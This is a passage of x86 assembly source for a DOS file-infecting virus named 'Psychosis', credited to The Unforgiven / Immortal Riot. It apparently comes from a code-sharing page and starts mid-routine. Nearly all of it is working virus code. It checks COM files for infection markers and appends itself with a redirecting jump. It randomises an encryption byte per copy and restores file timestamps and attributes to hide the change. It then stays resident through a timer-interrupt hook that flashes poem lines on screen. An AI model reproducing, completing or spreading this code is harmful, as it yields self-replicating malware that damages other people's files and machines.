📄 psycosis.asm
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jc find_next_file ; If error, find another
xchg bx,ax ; bx is now handle
mov ah,3Fh ; Save
mov cx, part1_size ; first part
mov dx, offset buffer ; to buffer
add dx, offset_off ; to be restored
push dx
int 21h ; later
pop si ; Check for virus ID bytes
; in the buffer
push si
lodsw ; DS:[SI] -> AX
cmp ax, virus_marker ; Compare it
jnz infect_it ; infect it if ID #1 not found
lodsw ; Check next two bytes
cmp ax, virus_marker2 ; Compare it
jnz infect_it ; infect if ID #2 not found
pop si
bomb_out:
mov ah, 3Eh ; else close the file
int 21h ; and go find another
jmp find_next_file ; 'cuz it's already infected
Signature db '\\ Merry Xmas and a happy new year // '
db 'Sweden - Snowing Again'
;=============================================================================
;D-Good Stuff - Infection routine
;=============================================================================
infect_it:
; save fileattr
pop si
add si, offset DTA + DTA_fileattr - offset buffer
mov di, si
add di, offset origattr - offset DTA - DTA_fileattr
movsb ; DS:[SI] -> ES:[DI]
movsw ; Save origtime
movsw ; Save origdate
movsw ; Save filesize
; Only need LSW
; because COM files
; can only be up to
; 65535 bytes long
cmp word ptr [si - 2], part1_size
jl bomb_out ; is less than 8 bytes.
do_again:
mov ah, 2Ch ; get time
int 21h
add dl, dh ; 1/100 sec + 1 sec
jz do_again ; Don't want orig strain!
mov si, offset encrypt_val
add si, offset_off
mov byte ptr [si], dl ; 255 mutations
mov ax, 4301h ; Set file attributes
xor cx, cx ; to nothing
mov dx, si ; filename in DTA
add dx, offset DTA + DTA_filename - offset encrypt_val
int 21h ; do it now, my child
mov ah, 3Eh ; Close file
int 21h ; handle in BX
mov ax, 3D02h ; Open file read/write
int 21h ; Filename offset in DX
jc bomb_out ; Damn! Probs
mov di, dx
add di, offset oldhandle - offset DTA - DTA_filename
; copy filehandle to
; oldhandle
stosw ; AX -> ES:[DI]
xchg ax, bx ; file handle in BX now
mov ah, 40h ; Write DS:[DX]->file
mov cx, part1_size - 4 ; number of bytes
mov dx, 0100h ; where code starts
int 21h ; (in memory)
mov ah, 40h
mov si, di ; mov si, offset filesize
add si, offset filesize - 2 - offset oldhandle
add word ptr [si], 0100h
mov cx, 2
mov dx, si
int 21h ; write jmp offset
mov ax, [si] ; AX = filesize
sub ax, 0108h
add si, offset buffer3 - offset filesize
push si
mov word ptr [si], ax
mov ah, 40h
mov cx, 2
mov dx, si
int 21h
mov ax, 4202h ; move file ptr
xor cx, cx ; from EOF
xor dx, dx ; offset cx:dx
int 21h
call copy_rest_stuff
pop si
add si, offset oldhandle - offset buffer3
mov bx, word ptr [si]
mov ax, 5701h ; Restore
add si, offset origtime - offset oldhandle
mov cx, word ptr [si] ; old time and
add si, 2
mov dx, word ptr [si] ; date
int 21h
mov ah, 3Eh ; Close file
int 21h
mov ax, 4301h ; Restore file
xor ch, ch
add si, offset origattr - offset origtime - 2
mov cl, byte ptr [si] ; attributes
mov dx, si ; filename in DTA
add dx, offset DTA + DTA_filename - offset origattr
int 21h ; do it now
jmp find_next_file2
GotoError:
jmp error
Psycho:
push es
mov byte ptr cs:[100h],0 ; Initialize fingerprint
xor bx, bx ; Zero BX for start
mov ax, cs
Init1: inc bx ; Increment search segment
mov es, bx ; value
cmp ax, bx ; Not installed if we reach
je Not_Installed_Yet ; the current segment
mov si, 100h ; Search segment for
mov di, si ; fingerprint in first
mov cx, 4 ; four bytes
repe cmpsb ; Compare
jne init1 ; If not equal, try another
jmp Quit_Init ; else already installed
Not_Installed_Yet:
pop es
mov word ptr cs:[Counter], init_delay
mov word ptr cs:[D_Mess], 1
; Copy interrupt handler to beginning of code
mov si, offset _int_08_handler
add si, offset_off
mov di, Int_08_Start
mov cx, int_end - int_start
rep movsb ; DS:[SI]->ES:[DI]
mov ax, 3508h ; Get int 8 handler
int 21h ; put in ES:BX
mov cs:[duh], bx ; Save old handler
mov cs:[duh+2], es ; in cs:[104h]
mov ax, 2508h ; Install new handler
mov dx, Int_08_Start ; from DS:DX
int 21h ; Do it
push es
mov ax, ds:[2Ch] ; Deallocate program
mov es, ax ; environment block
mov ah, 49h
int 21h
pop es
mov ax, 3100h ; TSR
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
int 21h
int 20h ; In case of error
Quit_Init:
pop es
Error: ; On error, quit
Quit:
; if get drive, place it here (restore, and change to in the beginning).
mov ah, 3Bh ; Change directory
mov dx, offset root_dir ; to the root dir
add dx, offset_off
int 21h
mov ah,3Bh ; Change directory
; Return to orig dir
add dx, offset orig_path - offset root_dir
int 21h
; Copy buffer back to beginning of file
mov si, dx
add si, offset buffer2 - offset orig_path
mov di, 0100h
mov cx, part1_end - part1_start
rep movsb
mov di, 0100h
jmp di
int_start:
_int_08_handler proc far
push ax
push bx
push cx
push dx
push si
push ds
push es
pushf
dec word ptr CS:[Counter] ; Counter
jnz QuitNow
;ACTIVATION!!!
mov word ptr CS:[Counter], delay ; Reset counter
; Set up DS & ES to equal CS
push cs
pop ds
push cs
pop es
mov si, offset Messages - offset int_start + int_08_start
mov cx, cs:D_Mess
xor ah, ah
LoopY_ThingY:
lodsb ; DS:SI -> AL
add si, ax ; ES:BP -> Next message to display
loop LoopY_ThingY
lodsb
xchg si, bp
xor cx, cx
mov cl, al ; Length of string
mov ax, 1300h ;
mov bx, 0070h ; Page 0, inverse video
xor dx, dx ; (0,0)
int 10h ; Display ES:BP
inc word ptr cs:[D_Mess]
cmp word ptr cs:[D_Mess], num_messages
jnz Sigh
mov word ptr cs:[D_Mess], 1
Sigh: mov cx, 30h
Sigh2: push cx
mov cx, 0FFFFh
DelayX: loop DelayX
pop cx
loop Sigh2
xchg si, bp
QuitNow:
popf
pop es
pop ds
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr CS:duh
Messages db 0
db 15, 'Another year passed by'
db 21, 'Another tear the willows cry'
db 22, 'to change the world we ever try'
db 26, 'to make a difference before we die'
db 38, '[PSYCHOSIS] Greets, Phalcon/Skism.'
db 40, '(c) 93/94 The Unforgiven / Immortal Riot'
_int_08_handler endp
int_end:
part2_end:
CODE ends
end part1_start⌨️ 快捷键说明
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